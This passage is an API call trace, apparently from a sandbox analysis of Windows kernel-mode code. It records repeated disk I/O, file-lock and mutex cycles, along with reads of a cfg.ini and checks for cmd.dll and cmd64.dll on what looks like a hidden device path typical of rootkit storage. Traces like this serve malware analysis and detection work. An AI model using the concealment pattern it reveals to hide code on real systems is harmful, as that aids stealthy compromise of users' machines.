[0118.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.542] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.542] IdePortDispatch () returned 0x103 [0118.542] KeWaitForMutexObject () returned 0x0 [0118.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.543] KeLeaveCriticalRegion () [0118.543] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.543] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.543] KeEnterCriticalRegion () [0118.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350d000 [0118.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.543] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.543] IdePortDispatch () returned 0x103 [0118.543] KeWaitForMutexObject () returned 0x0 [0118.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.543] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.543] IdePortDispatch () returned 0x103 [0118.543] KeWaitForMutexObject () returned 0x0 [0118.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.543] KeLeaveCriticalRegion () [0118.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.544] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.544] KeEnterCriticalRegion () [0118.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.544] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.544] KeLeaveCriticalRegion () [0118.544] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.544] KeEnterCriticalRegion () [0118.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.544] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.544] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.544] KeLeaveCriticalRegion () [0118.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.544] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.544] KeEnterCriticalRegion () [0118.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.544] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.544] KeLeaveCriticalRegion () [0118.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.544] ReleaseMutex (hMutex=0xf0) returned 1 [0118.544] Sleep (dwMilliseconds=0x124f80) [0118.560] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.560] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.560] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.560] KeEnterCriticalRegion () [0118.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.560] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.560] IdePortDispatch () returned 0x103 [0118.561] KeWaitForMutexObject () returned 0x0 [0118.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.561] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.561] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.561] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.561] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.561] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae670 [0118.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.561] KeLeaveCriticalRegion () [0118.561] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.561] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.561] KeEnterCriticalRegion () [0118.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.561] KeLeaveCriticalRegion () [0118.561] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.561] KeEnterCriticalRegion () [0118.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.561] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.561] IdePortDispatch () returned 0x103 [0118.561] KeWaitForMutexObject () returned 0x0 [0118.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.561] KeLeaveCriticalRegion () [0118.561] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.561] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.561] KeEnterCriticalRegion () [0118.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003512000 [0118.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.562] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.562] IdePortDispatch () returned 0x103 [0118.562] KeWaitForMutexObject () returned 0x0 [0118.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.562] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.562] IdePortDispatch () returned 0x103 [0118.563] KeWaitForMutexObject () returned 0x0 [0118.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.563] KeLeaveCriticalRegion () [0118.563] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.564] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.564] KeEnterCriticalRegion () [0118.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.564] KeLeaveCriticalRegion () [0118.564] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.564] KeEnterCriticalRegion () [0118.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.564] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.564] KeLeaveCriticalRegion () [0118.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.564] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.564] KeEnterCriticalRegion () [0118.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.564] ExFreePoolWithTag (P=0xfffffa8003aae670, Tag=0x0) [0118.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.564] KeLeaveCriticalRegion () [0118.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.564] ReleaseMutex (hMutex=0xf0) returned 1 [0118.564] Sleep (dwMilliseconds=0x124f80) [0118.578] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.585] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.585] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.586] KeEnterCriticalRegion () [0118.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.586] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.586] IdePortDispatch () returned 0x103 [0118.586] KeWaitForMutexObject () returned 0x0 [0118.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.586] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.586] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.586] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.586] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.586] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cd5f0 [0118.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.586] KeLeaveCriticalRegion () [0118.586] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.586] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.586] KeEnterCriticalRegion () [0118.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.586] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.586] KeLeaveCriticalRegion () [0118.586] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.586] KeEnterCriticalRegion () [0118.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.586] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.586] IdePortDispatch () returned 0x103 [0118.586] KeWaitForMutexObject () returned 0x0 [0118.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.587] KeLeaveCriticalRegion () [0118.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.587] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.587] KeEnterCriticalRegion () [0118.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003517000 [0118.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.587] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.587] IdePortDispatch () returned 0x103 [0118.587] KeWaitForMutexObject () returned 0x0 [0118.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.587] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.587] IdePortDispatch () returned 0x103 [0118.587] KeWaitForMutexObject () returned 0x0 [0118.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.587] KeLeaveCriticalRegion () [0118.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.588] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.588] KeEnterCriticalRegion () [0118.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.588] KeLeaveCriticalRegion () [0118.588] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.588] KeEnterCriticalRegion () [0118.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.588] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.588] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.588] KeLeaveCriticalRegion () [0118.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.588] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.588] KeEnterCriticalRegion () [0118.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.588] ExFreePoolWithTag (P=0xfffffa80039cd5f0, Tag=0x0) [0118.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.588] KeLeaveCriticalRegion () [0118.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.588] ReleaseMutex (hMutex=0xf0) returned 1 [0118.588] Sleep (dwMilliseconds=0x124f80) [0118.604] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.604] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.604] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.604] KeEnterCriticalRegion () [0118.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.604] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.604] IdePortDispatch () returned 0x103 [0118.604] KeWaitForMutexObject () returned 0x0 [0118.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.604] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.604] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.604] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.604] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.604] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bac910 [0118.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.604] KeLeaveCriticalRegion () [0118.604] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.604] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.605] KeEnterCriticalRegion () [0118.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.605] KeLeaveCriticalRegion () [0118.605] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.605] KeEnterCriticalRegion () [0118.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.605] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.605] IdePortDispatch () returned 0x103 [0118.605] KeWaitForMutexObject () returned 0x0 [0118.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.605] KeLeaveCriticalRegion () [0118.605] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.605] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.605] KeEnterCriticalRegion () [0118.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.605] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351c000 [0118.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.605] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.605] IdePortDispatch () returned 0x103 [0118.605] KeWaitForMutexObject () returned 0x0 [0118.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.606] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.606] IdePortDispatch () returned 0x103 